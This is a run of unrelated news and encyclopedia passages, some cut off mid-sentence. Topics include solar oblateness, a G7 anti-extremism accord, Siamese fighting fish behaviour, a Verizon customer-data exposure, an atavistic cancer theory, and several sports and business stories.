However, while the sun is slightly flattened, its shape is still rounder than theory had predicted, researchers added.
"The peculiar fact that the sun is slightly too round to agree with our understanding of its rotation is also an important clue in a longstanding mystery," Kuhn said. "The fact that it is too round means that there are other forces at work making this round shape. We've probably misunderstood how the gas turbulence in the sun works, or how the sun organizes the magnetism that we can only see at the surface. Finding problems in our theories is always more exciting than not, since this is the only way we learn more."
Future research to measure the sun's shape more accurately can also help analyze how oscillations from deep in the sun's interior are manifested at its surface. "This will be a new and powerful tool for understanding why the sun changes, and how it will affect the Earth in the future," Kuhn said.
The scientists detailed their research online in the Aug. 16 edition of the journal Science.
Follow SPACE.com on Twitter @Spacedotcom. We're also on Facebook and Google+.G7 countries and tech giants including Google, Facebook and Twitter on Friday agreed to work together to block the dissemination of extremism over the internet.
"These are the first steps towards a great alliance in the name of freedom," Italian Interior Minister Marco Minniti said after a two-day meeting with his Group of Seven counterparts, stressing the importance of the internet for extremist “recruitment, training and radicalisation.”
Officials said the accord aimed at removing militant content from the web within two hours of being posted. “Our enemies are moving at the speed of a tweet and we need to counter them just as quickly,” acting United States Homeland Security Secretary Elaine Duke said.
While acknowledging progress had been made, Britain's Home Secretary Amber Rudd insisted “companies need to go further and faster to not only take down extremist content but also stop it being uploaded in the first place”.
The meeting on the Italian island of Ischia off Naples also focused on ways to tackle one of the West's biggest security threats —militants fleeing Syria — as the European Union promised to help close a migration route considered a potential back door for terrorists.
Tens of thousands of citizens from Western countries travelled to Syria and Iraq to fight for the militant Islamic State (IS) group between 2014 and 2016, including some who then returned home and staged attacks that claimed dozens of lives.
Minniti warned last week that the fighters planning revenge attacks following the collapse of the IS stronghold in Raqa could hitch lifts back to Europe on migrant boats from Libya.
The US and Italy signed an agreement on the sidelines of the G7 meeting to share their fingerprint databases in a bid to root out potential extremists posing as asylum seekers.
The “technical understanding” aims “to ascertain whether (migrants, asylum seekers or refugees) are noted criminal suspects or terrorists”, Minniti's office said.
'De-radicalisation'
Earlier, EU President Donald Tusk promised the bloc would fork out more funds to help shut down the perilous crossing from Libya to Italy — a popular path for migrants who hope to journey on to Europe.
The EU would offer “stronger support for Italy's work with the Libyan authorities”, and there was “a real chance of closing the central Mediterranean route”, he said.
Italy has played a major role in training Libya's coastguard to stop human trafficking in its territorial waters, as well as making controversial deals with Libyan militias to stop migrants from setting off.
Minniti said the G7 ministers had discussed how to go about “de-radicalising” citizens returning from the IS frontline, to prevent them becoming security risks in jails.
The ministers had also brainstormed on how to tackle the legal headache of prosecuting returnees, amid questions over what sort of evidence, collected by whom, could be used in a domestic court. The US and Britain called for more to be done on aviation safety, particularly through the sharing of passenger data.
'Malware of terror'
The Group of Seven — Britain, Canada, France, Germany, Italy, Japan and the US — said it had also called on the web giants to work with their smaller partners to bolster the anti-extremism shield.
“The IS took to the technology world like a fish to water,” Minniti said, adding that it was time to unleash the antidote to its “malware of terror”.
Rudd said the UK government would do its part by changing the law so that those accessing and viewing extremist material on the web could face up to 15 years behind bars. But Julian Richards, security specialist at Buckingham University Centre for Security and Intelligence Studies (BUCSIS), said the rest of the G7 was unlikely to get behind her on that front.
“The UK's fairly hard approach of introducing legislative measures to try to force companies to cooperate... and suggestions that people radicalising online should have longer sentences, are often considered rather unpalatable and too politically sensitive in many other advanced countries,” he told AFP.Tom Holmoe appears to be tired of hearing it.
The great thing about Twitter is that it offers the world (or at least those on said social media platform) access to all kinds of people; famous, infamous and totally un-famous. And when BYU Athletic director Holmoe forayed into the Twittersphere (@TomHolmoe), he found it can be an exercise in persistent tongue-biting.
You’d expect fans to engage Holmoe on Twitter on the usual fan-favorite topics: coaching, play-calling, kickoff times, what’s for lunch in the tent at halftime, etc. But, no topic has recently been as irresistible to fans as BYU’s position in the college football conference landscape, and fans are energetically engaging said AD on said topic.
It may have come to a head — at least for Holmoe anyway — yesterday. The tweets regarding BYU and an invitation to the Big 12 — not all cordial nor grammatically correct — likely come in bushels to Holmoe, but yesterday they prompted him to respond.
A fan (it’s apparent by his Twitter page) Rich Neilson (@RiseandShoutOut) tweeted at Holmoe:
@tomholmoe I'm confused about BYU's direction. Does BYU prefer Independence over #Big12 membership? Fans don't know BYU's ultimate goal.— Rich Nielsen (@RiseAndShoutOut) February 20, 2013
To which Holmoe fired back:
@riseandshoutout Listen carefully- There...has...been...no...offer, thus we strive for great success as independent in football.— Tom Holmoe (@TomHolmoe) February 20, 2013
He went on to also add, when pressed over what the university wants:
@tayjoyce8 "School" not demanding anything other than the obvious--Sunday play. I fully understand fans preference for BCS.Once again...— Tom Holmoe (@TomHolmoe) February 21, 2013
Good for Holmoe — and BYU fans. Not all ADs are so engaged and so candid. The gauntlet was thrown down. Reading between the lines, BYU fans take from this that BYU wants in, but the Big 12 isn’t calling.
The question now is, why not?
This is a much more nuanced issue than fans care to admit, and it’s riddled with grave business decisions spread over many organizations, institutions and personalities. In the coming segments of this series, I will present a breakdown of the salient points of BYU's exclusion from the Big 12 from a business perspective.
This is part one of four in a series regarding BYU's potential inclusion in the Bowl Championship series and the Big 12 conference. Part two will address the nature of the Big 12 Conference collective and issues relating to playing sports on Sunday.A Netflix App icon is shown on an iPad in Encinitas, California, April 19,2013. REUTERS/Mike Blake
(Reuters) - Netflix Inc launched its video streaming service in The Netherlands on Wednesday, offering movies and TV shows from Hollywood and local producers as the U.S.-based company expands its reach into Europe.
The service will cost 7.99 euros ($10.60) a month for on-demand content watchable on Internet-connected TVs and mobile devices, Netflix said in a statement. The company announced in June it would enter The Netherlands market this year but had not revealed a specific date.
Netflix boasts 29.8 million streaming subscribers in the United States and 7.8 million in international markets, delivering movies and TV shows to Canada, Great Britain, Ireland, Scandinavia and parts of Latin America and the Caribbean.
($1 = 0.7538 euros)
(Reporting by Lisa Richwine; Editing by Stephen Coates)Muni’s newest motor buses break down a whole lot less than their older counterparts.
That’s according to data released this month by the San Francisco Municipal Transportation Agency, which noted the 40-foot New Flyer hybrid buses from 2013 are roughly twice as reliable as the older buses, the 40-foot coaches constructed by Neoplan circa 2001.
The reliability is measured by mean |
due to their intensity of colour. Females often flare at other females, especially when setting up a pecking order. Flirting fish behave similarly, with vertical instead of horizontal stripes indicating a willingness and readiness to breed (females only). Betta splendens enjoy a decorated tank, being a territorial fish it is necessary to establish territory even when housed alone. They may set up a territory centered on a plant or rocky alcove, sometimes becoming highly possessive of it and aggressive toward trespassing rivals. This is the reason why when kept with other fish the minimum tank size should be 45 litres (about 10 gallons). Contrary to popular belief, bettas are compatible with many other species of aquarium fish.[25] Given the proper parameters bettas will be known to only be aggressive towards smaller and slower fish than themselves such as guppies.[26]
The aggression of this fish has been studied by ethologists and comparative psychologists.[27] These fish have historically been the objects of gambling; two male fish are pitted against each other to fight and bets are placed on which one will win. One fish will arise the victor, the fight continuing until one participant is submissive. These competitions can result in the death of either one or both fish depending on the seriousness of their injuries. To avoid fights over territory, male Siamese fighting fish are best isolated from one another. Males will occasionally even respond aggressively to their own reflections in a mirror. Though this is obviously safer than exposing the fish to another male, prolonged sight of their reflection may lead to stress in some individuals. Not all Siamese fighting fish respond negatively to other males, especially when the tank is large enough for each fish to create their own designated territory.[28]
Aggressive behaviour in females [ edit ]
In general, studies have shown that females exhibit similar aggressive behaviours as their male counterparts, but these behaviours are less common.[29] A group of female Siamese fighting fish were observed over a period of two weeks. During these two weeks, the following behaviours were recorded: attacking, displays, and biting food. The results of this observational study indicated that when females are housed in small groups, they form a stable dominance order. For example, the fish who was ranked at the top showed higher levels of mutual displays, in comparison to the fish who were of lower ranks. The researchers also found that the duration of the displays differed depending on whether an attack occurred.[30] The results of these studies indicate that female Siamese fighting fish should be considered as often as males, as there are evidently interesting variations in their behaviours as well.
Courtship behaviour [ edit ]
There has been numerous research in the area of courtship behaviour between male and female Siamese fighting fish. This research has focused on the aggressive behaviours of males during the courtship process. For example, one study found that when male fish are in the bubble nest phase, their aggression toward females is quite low. This is due to the males attempting to attract potential mates to their nest, so eggs can successfully be laid.[31] It has also been found that in regards to mate choice, females often “eavesdrop” on pairs of male Siamese fighting fish while they are fighting. When females witness aggressive behaviour between a pair of males, the female is more likely to be attracted to the male who won. In contrast, if a female did not “eavesdrop” on aggressive behaviour between a pair of males, the female will show no preference in mate choice. In regards to the male fish, the “loser” fish are more likely to attempt to court the fish who did not “eavesdrop”. The “winner” fish have been found to show no preference in regards to female fish who “eavesdropped” and those who did not.[32]
One study considered the ways in which male Siamese fighting fish alter their behaviours during courtship when another male is present. During this experiment, a dummy female was placed in the tank. The researchers expected that males would conceal their courtship from intruders, however this surprisingly was not the case. It was found that when another male fish was present, the male was more likely to engage in courtship behaviours with the dummy female fish. When no barriers were present, the males were more likely to engage in gill flaring at an intruder male fish. Therefore, the researchers conclude that the male is attempting to court the female and communicate with the rival male present at the same time.[33] These results indicate the importance of considering courtship behaviour, as the literature has suggested there are many factors that can dramatically affect the ways in which both male and females can act in courtship settings.
Metabolic costs of aggression [ edit ]
Studies have found that Siamese fighting fish often begin with behaviours that require high cost, and gradually decrease their behaviours as the encounter proceeds.[31] This indicates that Siamese fighting fish will first begin an encounter using much metabolic energy, but will gradually decrease, as to not use too much energy, thus making the encounter a waste if the fish is not successful. Similarly, researchers have found that when pairs of male Siamese fighting fish were kept together in the same tank for a three-day period, aggressive behaviour was most prevalent during the mornings of the first two days of their cohabitation. However the researchers observed that the fighting between the two males decreased as the day progressed. The male in the dominant position initially had metabolic advantage; although as the experiment progressed, both fish became equal in regards to metabolic advantages.[34] In regards to oxygen consumption, one study found that when two male Siamese fighting fish fought, the metabolic rates of both fish did not differ before or during the fight. However, the fish who won showed higher oxygen consumption during the evening subsequent to the fight. Therefore, the results of this study indicate that aggressive behaviour in the form of fighting has long-lasting effects on metabolism.[35]
Effects of chemical exposure on behaviour [ edit ]
Chemicals such as hormones can have powerful effects on the behaviour of an individual. Researchers have considered the effect that such chemicals can have on Siamese fighting fish. This section will examine three studies, each of which indicates that chemicals can significantly affect the behaviours of Siamese fighting fish. In particular, these behaviour changes are most likely to occur in regards to aggression.
One study investigated the effect of testosterone on female Siamese fighting fish. Females were first given testosterone, which resulted in physical changes. This included fin length, body coloration and gonads. These physical changes resulted in the females resembling typical male fish. Next their aggressive behaviour was monitored. It was found that when these females interacted with other females, their aggression increased. In contrast, when the females interacted with males, their aggressive behaviour decreased. The researchers then allowed the female fish to interact socially with a group of other female fish, who had not been exposed to testosterone. It was found that when the female fish stopped receiving testosterone, those who were exposed to the female fish still exhibited the male typical behaviours. In contrast, the female fish who were kept isolated did not continue to exhibit the male typical behaviours after testosterone was discontinued.[36]
Another study exposed male Siamese fighting fish to endocrine-disrupting chemicals. The researchers were curious if exposure to these chemicals would affect the ways in which females respond to the exposed males. It was found that when shown videos of the exposed males, the females favoured those who were not exposed to the endocrine-disrupting chemicals, and avoided those male who were exposed. Therefore, the researchers concluded that exposure to these chemicals can negatively affect the mating success of male Siamese fighting fish.[37]
The last study investigated the effect of the SSRI, fluoxetine, on male Siamese fighting fish. It has been previously found that this chemical reduces aggressive behaviour; therefore, researchers were curious if this would occur in their experiment. As predicted, it was found that when exposed to fluoxetine, male Siamese fighting fish exhibited less aggressive behaviour than they would have if they had not been exposed to the chemical.[38]
Name [ edit ]
Although commonly called a betta in the aquarium trade, especially in North America, that is the name of a genus not only containing this fish, but also other species. B. splendens is more accurately called by its scientific name or "Siamese fighting fish", to avoid confusion with the other species in the genus.
In popular culture [ edit ]
The Fisheries Department of Thailand is promoting pla gud, or Siamese fighting fish, as the national fish. Department chief Adisorn Promthep said that the proposal will be submitted to the National Identity Office under the Prime Minister’s Office for approval. He said that once the status is recognised, fighting fish farming would be promoted which would generate money and create jobs. He added that credible records show that pla gud of the Betta splendens species are native to Thailand and were first collected for fighting during the reign of King Rama III.[39]
The titular character in the novel Rumble Fish (novel) and subsequent film Rumble Fish is a Siamese fighting fish.[40] In both, the character Motorcycle Boy is fascinated with the creatures and dubs them "rumble fish." He speculates that if the fish were to be set free in the river, they wouldn't behave so aggressively. A common misconception regarding keeping B. splendens is that they should live in vases or bowls. However, this has been proven to damage their health, life expectancy, and cause negative behavioral changes.[41]
A scene in the James Bond film From Russia with Love shows three Siamese fighting fish in an aquarium as the villain Ernst Stavro Blofeld likens the modus operandi of his criminal organisation, SPECTRE to one of the fish that observes as the other two fight to the death, then kills the weakened victor.[42]
References [ edit ]
Further reading [ edit ]
Simpson, M. J. A. (1968). "The display of the Siamese fighting fish Betta splendens ". Animal Behaviour Monographs. 1 : 1–73. doi:10.1016/S0066-1856(68)80001-9.
Thompson, T (1966). "Operant and Classically-Conditioned Aggressive Behavior in Siamese Fighting Fish". American Zoologist. 6 (4): 629–741. doi:10.1093/icb/6.4.629.Washington (CNN) First lady Melania Trump thanked former first daughter Chelsea Clinton on Tuesday night for defending Barron Trump against online bullying -- at the same time President Donald Trump was delivering a raucously divisive speech to supporters in Phoenix.
"Thank you @ChelseaClinton - so important to support all of our children in being themselves! #StopChildhoodBullying," the first lady tweeted.
Thank you @ChelseaClinton - so important to support all of our children in being themselves! #StopChildhoodBullying https://t.co/UCUpFc5ZjR
Clinton came to the youngest Trump's defense after an article in the conservative news publication The Daily Caller criticized the President's 11-year-old son's style and clothing.
"The youngest Trump doesn't have any responsibilities as the president's son, but the least he could do is dress the part when he steps out in public," entertainment reporter Ford Springer wrote in the story that published Monday.
"It's high time the media & everyone leave Barron Trump alone & let him have the private childhood he deserves," Clinton tweeted.
It's high time the media & everyone leave Barron Trump alone & let him have the private childhood he deserves https://t.co/Wxq51TvgDX — Chelsea Clinton (@ChelseaClinton) August 21, 2017
Clinton followed up on Tuesday, responding to someone who apparently had made a comment on Twitter: "Dear Matty-Barron is A KID. No child should be talked about in the below manner-in real life or online. And for an adult to do so? For shame."
Dear Matty-Barron is A KID. No child should be talked about in the below manner-in real life or online. And for an adult to do so? For shame https://t.co/p9jkGbMG4C — Chelsea Clinton (@ChelseaClinton) August 22, 2017
The tweet to which Clinton was responding has been deleted.
Melania Trump tweeted her thanks for the support against bullying late Tuesday night, even as her husband repeatedly taunted what he called the "damn dishonest" media over reports about his response to this month's violence in Charlottesville, Virginia.
One of the first lady's'main focuses'
While on the 2016 campaign trail, Melania Trump announced one of her "main focuses" as first lady would be to combat cyberbullying.
"Our culture has gotten too mean and too rough, especially to children and teenagers," she said just days before the election. "We have to find a better way to talk to each other, to disagree with each other, to respect each other. We must find better ways to honor and support the basic goodness of our children, especially in social media. It will be one of the main focuses of my work if I'm privileged enough to become your first lady."The Supreme Court of the United States held in a unanimous decision announced today that a debtor in a Chapter 7 bankruptcy proceeding may not void a junior mortgage lien when the debt owed on a senior mortgage lien exceeds the current value of the collateral if the creditor’s claim is both secured by a lien and allowed under the bankruptcy code.
The ruling, which will benefit commercial lenders, says that bankruptcy courts may not “strip off” junior liens on property if the value of the property used as collateral is less than the amount the debtor owes to the senior lienholder — in other words, the junior mortgage lien is “completely underwater.”
In the case of Bank of America v. Caulkett, Bank of America asserted that junior liens should not be treated as unsecured loans, because the bankruptcy code only “strips off” claims from property that are disallowed and because the Supreme Court’s ruling in Dewsnup v. Timm, disallowing “stripping down” of primary liens to the value of the underlying property, should extend to this case. The defendants argued that second liens should be treated as unsecured, and hence disallowed.
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The Court’s unanimous ruling impacts the right of junior lienholders to collect on loans in the event of a debtor’s declaration of bankruptcy and the treatment of previously secured, but subordinate, debt in bankruptcy proceedings.
From the ruling:The Lakers are horrendous this year. But if they want to get anything out of this season besides memories of Kobe Bryant entering visiting arenas to raucous cheers and then immediately air-balling a three-pointer, the team needs to be really, really horrendous.
The Lakers’ first-round pick in the 2016 NBA Draft is top-three protected, meaning if they do not end up with one of the top three picks in the draft, the pick will instead go to the tanktastic Philadelphia 76ers, and the Lakers will not have anything to show for the horrible record they are in the process of accumulating.
The rules of the lottery are complicated, but suffice it to say that the worst teams usually get the highest picks, unless one to three teams with better records are able to jump up into the top three slots during a ball-bouncing lottery. That means if the Lakers end up with the fourth worst record in the league, they need to rely on a lucky bounce of the balls and a leap of faith on lottery night. End up with the third worst record, and the team will need only one team to leapfrog them and crush their dreams. In reality, the Lakers need the first or second worst record to really enter lottery night feeling something close to good about their chance of capturing a solid pick and the chance at a franchise player. And since the 76ers are still a team that we are all just pretending is a professional one, the Lakers are really hoping to finish second-worst.
Lots of fans and analysts entering the year didn’t think it would happen. They assumed that the Lakers would be forking over the pick come lottery night. They thought the Lakers would be bad this year, but few thought they would be “embarrassment to the sport of basketball” bad. They have young prospects, mid-career veterans and Kobe Bryant! Yet here we are, 18 games into the season, and the Lakers have the second worst record in the league. It's a goddamned miracle for those Lakers fans who want to see their team rise back to title contention in the near future. But combined with you-know-who’s farewell tour, it’s making a lot of us also lose our goddamned minds.
People are acting like the Kobe farewell tour began on Sunday against the Indiana Pacers, but anyone who has been paying attention could sense there has been a hush-hush understanding for at least months now. For Lakers fans, it’s made for a viewing experience that can be described as bizarre at best, mind-melding at worst.
Has there ever been a situation like this in NBA history? The team needs to be impossibly bad to keep its pick, so we need the team to lose, but we also want to develop our three young guys -- D’Angelo Russell, Jordan Clarkson and Julius Randle -- and we want to see a few more moments from Kobe. We want Byron Scott to keep coaching the team into the ground, but we also want to see the greatest franchise in NBA history show some pride. We want to see Kobe hit a few more late-game shots, but we also want to watch him shoot us out of the game. Thankfully, he's done more of the latter.
It's made the process of watching a Lakers game a truly existential and maddening experience. What do we truly want out of these games? What do we want out of our season? Why are we here on earth? What does it mean to be human?
We want it both ways. We want to appreciate Kobe in his final season. He’s been an imperfect and often frustrating player to root for his entire career, but he’s still the first or second greatest Laker of all time, and it feels wrong to root for him to airball yet another turnaround three, even though we have every incentive to do so, and even though it’s hilarious. But we need to lose. We really need to lose, guys.
The last two games against the 76ers and Washington Wizards have really been the best- and worst-case scenarios for this Lakers team, respectively. The 76ers game on Tuesday was the perfect 2015-2016 Lakers viewing experience. It was fun, funny and even a tad touching. There was a sentimental ceremony for Kobe, and there were some throwback Kobe moments.
There were also some hilarious 2015-2016 Kobe moments. You know the type by now.
But, most important, the Lakers lost. And even better, the 76ers won. So really, the game had everything Lakers fans could want: some nostalgia, some comedy and in the end, an improved chance at keeping the 2016 pick.
Wednesday night against the Wizards, on the other hand, was the sort of game that makes Lakers fans want to feel awful this year. Kobe went off for 31 points. At times, he looked genuinely good.
Randle played well, too. Too well. Everything went too well, and instead of Kobe chucking up an airball with the game on the line -- the team’s patented 2015-2016 tanking move -- it went in. The Lakers won on Wednesday, so they also sort of lost.
Should Lakers fans be happy or sad after a game like Wednesday night's? There is no right answer. You can choose to celebrate Kobe and ignore the fact that we might lose out on a franchise player as a result of his heroics. Or you can choose to be angry at the Laker who helped bring the team five championships. Perhaps we can only stare into the void and ponder questions like, "What is truth?" But on the same night, an LSU freshman by the name of Ben Simmons had 43 points on 75 percent shooting with 14 rebounds, seven assists, five steals and three blocks. That brings everything a bit more into focus, doesn't it?
We need that goddamned pick.
Also on HuffPost:Could cancer be our cells’ way of running in “safe mode,” like a damaged computer operating system trying to preserve itself, when faced with an external threat? That’s the conclusion reached by cosmologist Paul Davies at Arizona State University in Tempe (A.S.U.) and his colleagues, who have devised a controversial new theory for cancer’s origins, based on its evolutionary roots. If correct, their model suggests that a number of alternative therapies, including treatment with oxygen and infection with viral or bacterial agents, could be particularly effective.
At first glance, Davies, who is trained in physics rather than biomedical science, seems an unlikely soldier in the “war on cancer.” But about seven years ago he was invited to set up a new institute at A.S.U.—one of 12 funded by the National Cancer Institute—to bring together physical scientists and oncologists to find a new perspective on the disease. “We were asked to rethink cancer from the bottom up,” Davies says.
Davies teamed up with Charley Lineweaver, an astrobiologist at The Australian National University in Canberra, and Mark Vincent, an oncologist at the London Health Sciences Center in Ontario. Together they have come up with an “atavistic” model positing cancer is the reexpression of an ancient “preprogrammed” trait that has been lying dormant. In a new paper, which appeared in BioEssays in September, they argue that because cancer appears in many animals and plants, as well as humans, then it must have evolved hundreds of millions of years ago when we shared a common single-celled ancestor. At that time, cells benefited from immortality, or the ability to proliferate unchecked, as cancer does. When complex multicellular organisms developed, however, “immortality was outsourced to the eggs and sperm,” Davies says, and somatic cells (those not involved in reproduction) no longer needed this function.
The team’s hypothesis is that when faced with an environmental threat to the health of a cell—radiation, say, or a lifestyle factor—cells can revert to a “preprogrammed safe mode.” In so doing, the cells jettison higher functionality and switch their dormant ability to proliferate back on in a misguided attempt to survive. “Cancer is a fail-safe,” Davies remarks. “Once the subroutine is triggered, it implements its program ruthlessly.”
Speaking at a medical engineering conference held at Imperial College London, on September 11, Davies outlined a set of therapies for cancer based on this atavistic model. Rather than simply attacking cancer’s ability to reproduce, or “cancer’s strength,” as Davies terms it, the model exposes “cancer’s Achilles’ heel.” For instance, if the theory is correct, then cancer evolved at a time when Earth’s environment was more acidic and contained less oxygen. So the team predicts that treating patients with high levels of oxygen and reducing sugar in their diet, to lower acidity, will strain the cancer and cause tumors to shrink.
The effects of oxygen level on cancer have been independently investigated for many years and appear to support Davies’s ideas, says Costantino Balestra, a physiologist at Paul Henri Spaak School and the Free University of Brussels, both in Belgium. In unpublished work that has been submitted for peer review, for instance, Balestra and his colleagues have recently demonstrated that slightly elevated oxygen levels can begin to induce leukemia cell death without harming healthy cells. “It almost looks too easy,” Balestra says. “Our preliminary results seem to show that supplying a little extra oxygen for one or two hours a day, in combination with other traditional cancer therapies, would benefit patients without any harsh side effects.” Balestra emphasizes, however, that this work was not carried out to test Davies’s hypothesis and cannot be taken as proof that the atavistic model is correct.
Davies and his colleagues also advocate immunotherapy—specifically, selectively infecting patients with bacterial or viral agents. Medical researchers are already investigating the promising effects of such an approach for artificially boosting patients’ immune systems to aid in their recovery. Immunotherapy has already performed well in treating melanomas, for instance, and its effects on other cancers are being studied. According to the atavistic model, however, in addition to invigorating the immune system, cancer cells should also be more vulnerable than healthy cells to being killed by infectious agents because they lose higher protective functionality when they “reboot into safe mode,” Davies says. Recent studies injecting clostridium spores in rats, dogs and a human patient also appear to support this interpretation, he says.
Some scientists, such as David Gorski, a surgical oncologist at Wayne State University, remain skeptical. “The ‘predictions’ of atavism are nothing that scientists haven’t come to by other paths,” he says.
Davies and his colleagues have already begun a more direct test of their theory, in answer to such criticisms. “The key to our theory is looking at the ages of the genes responsible for cancer,” Davies explains. The atavistic model claims that with the onset of cancer, cells revert to a more primitive mode and more recently evolved functions are switched off. The team therefore predicts that as cancer progresses, more recently evolved genes should lose function, whereas ancient genes become active.
To check if this hypothesis is correct, Davies and his colleagues are currently cross-referencing data from the cancer genome atlas, which identifies the genes that are involved in cancer, with various databases that classify the genes that we have in common with other species. The latter data set enables biologists to trace back genes’ ages. Any correlation that exists between the gene age and cancer will be a boost to the atavistic model. “Combining the two data sets hasn’t been done before,” Davies says. “But it’s essentially a data-mining exercise that doesn’t take much money and it’s something we’re working on now.”
Brendon Coventry, a surgical oncologist and immunotherapist at the University of Adelaide in Australia, sees value in physicists working with oncologists to piece together existing medical evidence to try to understand cancer’s origins. “Enormous amounts of money and the brightest minds in biological and medical science have failed to make a big impact in the war on cancer, so maybe it’s time for a new paradigm,” Coventry says, adding: “A cosmologist can look at the cell as an ‘internal universe’ to be explored in a new way.”
More:
Paul Davies: Physics Could Help Fight Cancer [Podcast]
April 13, 2011
Interdisciplinary Research Partnerships Set Out to Uncover the Physics of Cancer
December 27, 2010Private Data Of 6 Million Verizon Users Left Openly Accessible On The Internet
from the Whoops-a-Daisy dept
Yet another company has been caught leaving personal customer data just sitting on an openly-accessible server for anybody to obtain and abuse. According to Upguard and security researcher Chris Vickery, the data was being stored by Nice Systems, a Ra'anana, Israel-based company employed by Verizon to store and analyze the data for an "unknown purpose." The data, left unprotected on an Amazon S3 storage server by the company, included information on six million subscribers that had called Verizon support in the last six months, including customer names, phone numbers and the account pins used to access their accounts.
Vickery notes that the ability to abuse these pin numbers was particularly problematic:
"Beyond the risks of exposed names, addresses, and account information being made accessible via the S3 bucket’s URL, the exposure of Verizon account PIN codes used to verify customers, listed alongside their associated phone numbers, is particularly concerning. Possession of these account PIN codes could allow scammers to successfully pose as customers in calls to Verizon, enabling them to gain access to accounts—an especially threatening prospect, given the increasing reliance upon mobile communications for purposes of two-factor authentication."
Similarly problematic was the fact that Verizon and Nice were notified of the breach on June 13th, but the data wasn't secured until June 22:
"This exposure is a potent example of the risks of third-party vendors handling sensitive data. The long duration of time between the initial June 13th notification to Verizon by UpGuard of this data exposure, and the ultimate closure of the breach on June 22nd, is troubling. Third-party vendor risk is business risk; sharing access to sensitive business data does not offload this risk, but merely extends it to the contracted partner, enabling cloud leaks to stretch across several continents and involve multiple enterprises."
For its part, Verizon tried to downplay the breach to ZDNet, laying the entirety of the blame on Nice while trying to insist that most of the data had no real value:
"Verizon provided the vendor with certain data to perform this work and authorized the vendor to set up AWS storage as part of this project," said a spokesperson. "Unfortunately, the vendor's employee incorrectly set their AWS storage to allow external access."...The phone giant said that the "overwhelming majority of information in the data set has no external value."
Yeah, not comforting. The timing is ironic given that Verizon was one of several ISPs that just got done lobbying Congress and the Trump administration to kill new FCC broadband privacy protections that would have taken effect back in March. Those rules (pdf) would have not only required that ISPs be transparent about what third party data vendors obtain and store customer information, but required ISPs adhere to basic private data storage and protection standards, and quickly notify subscribers when their data is exposed (impacted users in this instance do not appear to have been notified yet).
Verizon had long argued that telecom privacy protections aren't necessary because the industry could "self regulate," something quickly disproven when Verizon was busted a few years ago covertly modifying wireless user data packets to track their behavior around the internet. At one point the company insisted that privacy protections aren't necessary because "public shame," would keep the company honest -- something that's a bit difficult when customers have absolutely no idea who's collecting, reviewing, or storing (poorly) their personal information in the first place.
Filed Under: chris vickery, data, security
Companies: nice systems, verizonGetty Images
A bunch of retired guys played flag football in San Jose last night, in hopes of creating a product someone will watch on television.
But Saints quarterback Drew Brees is aiming even higher with his attempt to popularize the safer version of his sport.
According to Mike Triplett of ESPN.com, Brees is launching a co-ed youth flag football enterprise called the Football ‘N’ America League with an eye toward the future of the game.
“I think that this has the opportunity to really save the game of football, honestly,” Brees said. “I think we’re filling a void that is much-needed.
“We felt like, you know what, we have the opportunity here to really create what will be the premier youth co-ed flag football league in America.”
Brees said he came upon the idea while coaching a kids team in San Diego the last few offseasons. The league will begin in New Orleans and around Louisiana this fall, before expanding to other states next year.
Brees played flag football as a kid in Texas and didn’t play tackle until his freshman year in high school And he’s turned out OK. But now that he has four kids, he’s even more sure of the need for such programs.
“I would not let my kids play tackle football right now, because I don’t think that’s necessary, and I don’t think it’s as fun at this level, and I just think there’s too much risk associated with putting pads on right now at this age,” Brees said. “So how can I still allow them to enjoy the game and learn about the game and develop a passion for the game and enjoy everything it has to offer? Well, flag football.
“I think that flag football is the perfect alternative to the parents who have concerns about concussions and the injuries around football. Because you’re still able to enjoy the game of football, but in a very fun, safe and yet competitive environment. And you can still learn all the same life lessons and values from a game of flag as you would tackle.”
Between concussion concerns and the cost of equipment and insurance, it’s possible that the move toward flag football becomes a trend anyway. But while Brees is getting in this is as a business venture, he also raises some valid points, and his support can only help the movement.Whether for good or for now, Bell Canada has shut down its extensive unpaid internship program. Hundreds of young people have gone through what’s known as the Professional Management Program based at the telecom giant’s Mississauga offices.
Jainna Patel is a former intern at Bell who is seeking back wages for work done in 2012. ( Andrew Francis Wallace / Toronto Star file photo )
The full-time program is at the heart of an ongoing federal labour dispute between Bell and former intern Jainna Patel seeking back wages for work done in 2012. Patel’s Toronto lawyer, Tim Gleason, speculated Bell may have cut the program to prevent new claims against the company. “They may be cutting their loses or cutting the amount of damage they’re liable for,” he said.
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“If Bell has decided to pay people for their work, this is a positive development. Not just for Ms. Patel, but for all of Bell’s employees.”
What do you think?
The program website has been removed and the telephone number disconnected. “The Professional Management Program was completed last April and is no longer available,” said Bell spokesman Albert Lee. It’s the latest in a series of high-profile internship cancellations in the face of increasing scrutiny and backlash against using unpaid workers. Earlier this year, the provincial labour ministry cracked down on unpaid internships in the publishing industry. Private member’s bills have been introduced at both the provincial and federal levels in an attempt to monitor and regulate the practice. There’s now a “heightened awareness” surrounding the issue, said Toronto NDP MP Andrew Cash. In June, the NDP introduced the Intern Protection Act, a private member’s bill to be debated this fall, and a bill to create a National Urban Workers Strategy was introduced in October. “Some companies have voluntarily started to reassess their internship programs and pay people. Others are saying, ‘Look, we just want to follow the rules.’ But in the absence of rules, companies are going to do what companies can do,” Cash said.
A finance committee chaired by Conservative MP James Rajotte recommended in a June report that the federal government start to collect data on unpaid internships in Canada, study their impact and work with the provinces to “ensure the appropriate protections under relevant labour codes.” Without a clear law, it’s possible Bell could launch an identical program in the future. Telecommunications companies are regulated under the Canada Labour Code, a federal law that includes no explicit rules governing unpaid internships. Under Ontario law, most unpaid internships are illegal unless done in exchange for a high school, college or university credit, and are not allowed to benefit the employer.
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Former intern Natalie Horbay said an entire floor was dedicated to interns like herself. She was enrolled in the geographic information systems program in 2011, but found herself doing customer service phone surveys and other tasks unrelated to her internship. She quit after three months, although had been asked to commit to six. “It didn’t even feel like we were working for Bell,” she said. “There were jobs in our field that came up and not a single person even got a single phone interview.” According to a 20-page brochure no longer available, interns — known as “associates” — were selected from over 30 countries for roles in fields like geospatial analysis, marketing, human resources, communications and “strategic intelligence.” Canadian Intern Association president Claire Seaborn said she was pleased by the program cancellation. “Hopefully this means we will have more paid entry-level positions because, based on the work those interns were doing, those were things that Bell needed, and they will probably have to replace them with paid staff members,” Seaborn said, adding she was surprised by the timing. Former Bell intern Patel has appealed a 2013 decision that denied her claim for back wages for work she did under the program in 2012. Patel claimed the work had no educational value and that she was doing the same work as paid employees. A hearing before an independent adjudicator is set for this fall. Federal Labour Minister Kellie Leitch said she could not comment on a case before the courts.Just as the dust appeared to settle from the latest merry-go-round of staff changes, Arizona State's assistant coaching carousel began spinning again on Saturday.
